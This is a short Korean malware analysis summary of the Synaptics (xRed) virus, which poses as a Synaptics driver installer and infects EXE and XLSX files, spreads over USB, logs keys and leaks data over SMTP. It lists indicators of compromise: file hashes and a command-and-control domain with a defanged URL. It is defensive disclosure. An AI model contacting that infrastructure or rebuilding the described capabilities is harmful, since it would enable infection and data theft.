시냅틱스(xRed) 바이러스는 합법적인 Synaptics 드라이버 설치 파일로 위장하여 전파되며, 32비트 EXE 및 XLSX 파일 감염, USB 확산, 백도어 및 키로깅 기능을 통해 지속적인 시스템 제어와 정보 유출을 수행하는 악성코드이다. 자기 복제 및 재실행, 매크로 기반 문서 감염, SMTP를 통한 정보 유출 등 다양한 공격 기법을 포함하고 있으며, 일부 기능은 개발상 미비가 있는 점을 확인하였다.

 

수동 치료 방법은 중요 파일 손실 위험과 재감염 가능성 때문에 위험성이 존재하며, 이를 보완하기 위해 원본 파일 복구와 악성 파일 제거를 동시에 수행할 수 있는 전용 복구 도구를 개발하여 배포 하였다.

 

 

IOC

Filename SHA256
Synaptics.exe 14487DF946BB1BFF496D5D595C4865CEBB03F9704C8769DAC000D18E8C7D92A8
Synaptics.dll B9EAE90F8E942CC4586D31DC484F29079651AD64C49F90D99F86932630C66AF2
vbaProject.bin 6AE9689658E2784B8E82BFF9E5A48EA6DB073EE57CB621669E83F82D89D4AD34
xlsm 8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
C2
xred.mooo.com http://freedns[.]afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978